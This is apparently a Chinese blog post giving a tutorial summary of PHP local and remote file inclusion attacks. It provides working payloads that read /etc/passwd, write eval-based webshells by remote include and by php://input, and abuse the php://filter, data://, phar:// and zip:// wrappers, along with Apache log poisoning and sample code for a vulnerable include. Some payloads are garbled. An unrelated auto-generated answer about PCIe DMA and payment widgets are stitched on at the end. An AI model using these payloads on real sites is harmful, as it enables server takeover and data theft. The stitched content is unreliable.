文件包含总结(部分)

一、文件包含是什么?

文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

攻击者利用了包含的特性,再加上了应用本身对文件控制不严,对include进来的文件不可控,最终造成了攻击者进行任意文件包含。包含进来的文件都以当前脚本文件解析,比如,我们当前测试系统是Apache加php环境,那么被include进来的文件,不管是什么类型,比如说图片,文本文档,这些文件被包含以后,都会被当做php脚本来解析

二、本地文件包含(LFI)和远程文件包含(RFI)

本地文件包含 当被包含的文件在服务器本地时,就形成本地文件包含;

远程文件包含 当被包含的文件在第三方服务器时,叫做远程文件包含

该漏洞涉及到php常见包含文件函数包括:

include() 

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行

include_once() 

功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次

require() 

require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行 。使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用 .require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。

require_once() 

它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

三、文件包含利用

1.读取敏感文件

访问URL:http://www.test.com/index.php?page=/etc/passwd

如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。

2.远程包含Shell

如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马, 如:http://www.test.com/echo.txt,

代码如下:

<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[yale]);?>");?>

访问:http://www.example.com/index.php?page=http://www.test.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:

<?php eval($_POST[xxser]);?>

3.本地包含配合文件上传

假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg

图片代码如下:

<?php fputs(fopen("shell.php","w"),"<?php eval($_POSTyale]);?>");?>

访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。

4.使用PHP封装协议

4.1 使用封装协议读取PHP文件

例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的“样貌”。

4.2 写入PHP文件

在allow_url_include为On时,构造URL:http://www.example.com/index.php?page=php://input,并且提交数据为:
<?php system('net user');?>

会得到net user命令的结果。

如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

data://伪协议

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

data://(读取文件)

和php伪协议的input类似,碰到file_get_contents()来用; <?php // 打印 “I love PHP” echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’); ?>

注意:<?php phpinfo();,这类执行代码最后没有?>闭合;

如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

phar://伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

zip://伪协议

zip伪协议和phar协议类似,但是用法不一样。

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
5.包含Apache日志文件

Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。
攻击者先访问http://www.example.com/<?php phpinfo();?>,
操作这一步时,需要使用Burp抓包改包,否则<,>,空格都会被转码。
随后访问http://www.test.com/index.php?page=./…/Apache-20/logs/access.log,使用这种方式时,找到Apache的路径是关键。

6.截断包含

<?php

if(isset($_GET['page'])){

include $_GET['page'].".php";

}else{

include 'home.php';

}

?>

如果此时存在一个图片木马,名为1.jpg,

可以输入如下URL:http://www.example.com/index.php?page=1.jpg

当然这种方法只适用于magic_quotes_gpc=Off的情况下。

更多文章:

https://blog.csdn.net/qq_33020901/article/details/82684483

http://wiki.wooyun.org/web:lfi

PHP文件包含漏洞总结: http://drops.wooyun.org/tips/3827

文件包含与注入利用总结: https://www.91ri.org/2736.html

php://input,php://filter,data URI schema的那些事:
https://www.91ri.org/7470.html

phar协议: https://www.91ri.org/13363.html

论PHP常见的漏洞: http://drops.wooyun.org/papers/4544

LFI WITH PHPINFO() ASSISTANCE:
https://www.insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf

PHP_LFI_rfc1867_temporary_files:
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

zip或phar协议包含文件
http://bl4ck.in/index.php/tricks/use-zip-or-phar-to-include-file.html

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: PCIE(Peripheral Component Interconnect Express)是一种计算机总线接口,用于连接扩展设备和主机。DMA(Direct Memory Access)是一种数据传输技术,允许外部设备直接访问系统内存,而无需经过CPU的干预。 PCIE DMA部分涉及的文件主要包括驱动程序和相关的库文件。驱动程序是为特定的硬件设备编写的软件,它与操作系统协同工作,使硬件设备能够与操作系统通信并实现其功能。对于PCIE DMA,驱动程序负责管理数据传输和内存访问,确保数据正确地传输到设备或从设备传输回主机内存。 另外,还有一些库文件用于支持驱动程序的开发和调试。这些库文件提供了一些函数和工具,帮助开发者编写和调试驱动程序。例如,可以使用这些库文件提供的函数实现对DMA传输的控制和管理,以确保数据的完整性和正确性。 除了驱动程序和库文件,还可能有一些文档文件,用于说明和解释PCIE DMA部分的工作原理和使用方法。这些文档可以包括设备手册、用户指南、技术规格等,为开发者提供相关资料和指导,帮助他们理解和使用PCIE DMA技术。 综上所述,PCIE DMA部分文件主要包括驱动程序、库文件和相关文档。这些文件的存在和使用,为PCIE DMA技术的开发和应用提供了必要的资源和工具。 ### 回答2: PCIe DMA是指通过PCIe总线进行直接内存访问(Direct Memory Access)的技术。它能够实现数据在外部设备和系统内存之间的高速传输,提供了高带宽、低延迟的数据传输通路。 在使用PCIe DMA时,需要相关的文件和驱动来支持和管理DMA操作。这些文件和驱动通常由硬件设备的制造商提供。 1. 驱动文件:在使用PCIe DMA之前,需要安装和加载相应的PCle DMA驱动程序。这些驱动程序能够与操作系统进行交互,确保DMA操作的正确执行。驱动文件会包含设备的ID和供应商ID信息,以及控制和配置硬件设备的相关代码。 2. DMA控制器配置文件:DMA控制器负责管理和控制数据传输的过程。在配置DMA控制器时,需要相应的配置文件来指定DMA通道、传输模式、传输大小等参数。配置文件通常是由硬件制造商提供,根据具体应用需求进行修改。 3. DMA应用程序文件:DMA应用程序用来实现具体的数据传输功能。它可以是一个独立的软件程序,也可以是在其他应用程序中集成的模块。DMA应用程序通过调用DMA驱动接口,实现数据在系统内存和外部设备之间的传输。 4. DMA中断处理文件:在DMA传输过程中,可能会产生中断。相应的中断处理程序负责处理和响应这些中断事件。中断处理文件中包含了中断处理函数的实现代码,用于处理DMA传输的中断事件。 综上所述,PCIe DMA部分文件包括驱动文件、DMA控制器配置文件、DMA应用程序文件和DMA中断处理文件。这些文件共同协作,实现高速、高效的数据传输,提升系统性能。 ### 回答3: PCIe DMA(Direct Memory Access)是一种数据传输技术,可以将数据直接传输到内存,无需通过CPU的中断处理和复制操作。它通过使用专门的硬件逻辑和通信协议,实现高速且低延迟的数据传输。 在PCIe DMA中,需要使用一些特定的文件和软件来实现数据传输。这些文件包括驱动程序、设备描述符和应用程序。 驱动程序是用来控制和管理PCIe DMA的关键组件之一。驱动程序与系统内核紧密集成,可以通过与DMA硬件交互,启动和停止DMA操作,以及配置传输的数据大小和方向等参数。 设备描述符是用来描述要传输的数据的数据结构。它包括源地址、目标地址、数据长度等信息,用于告知DMA硬件如何进行数据传输。 应用程序是使用PCIe DMA的用户程序。它可以通过调用驱动程序提供的接口,发送数据到设备或从设备接收数据。应用程序通常需要基于实际需求实现不同的功能,如文件传输、数据采集等。 需要注意的是,PCIe DMA的实现需要硬件和软件的配合。硬件方面,需要有支持DMA的PCIe设备和相关的外围电路。软件方面,需要有配套的驱动程序和应用程序。 总结起来,PCIe DMA的文件包括驱动程序、设备描述符和应用程序,它们共同协作来实现快速和高效的数据传输。它在实际应用中广泛应用于数据存储、高速网络通信等领域。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值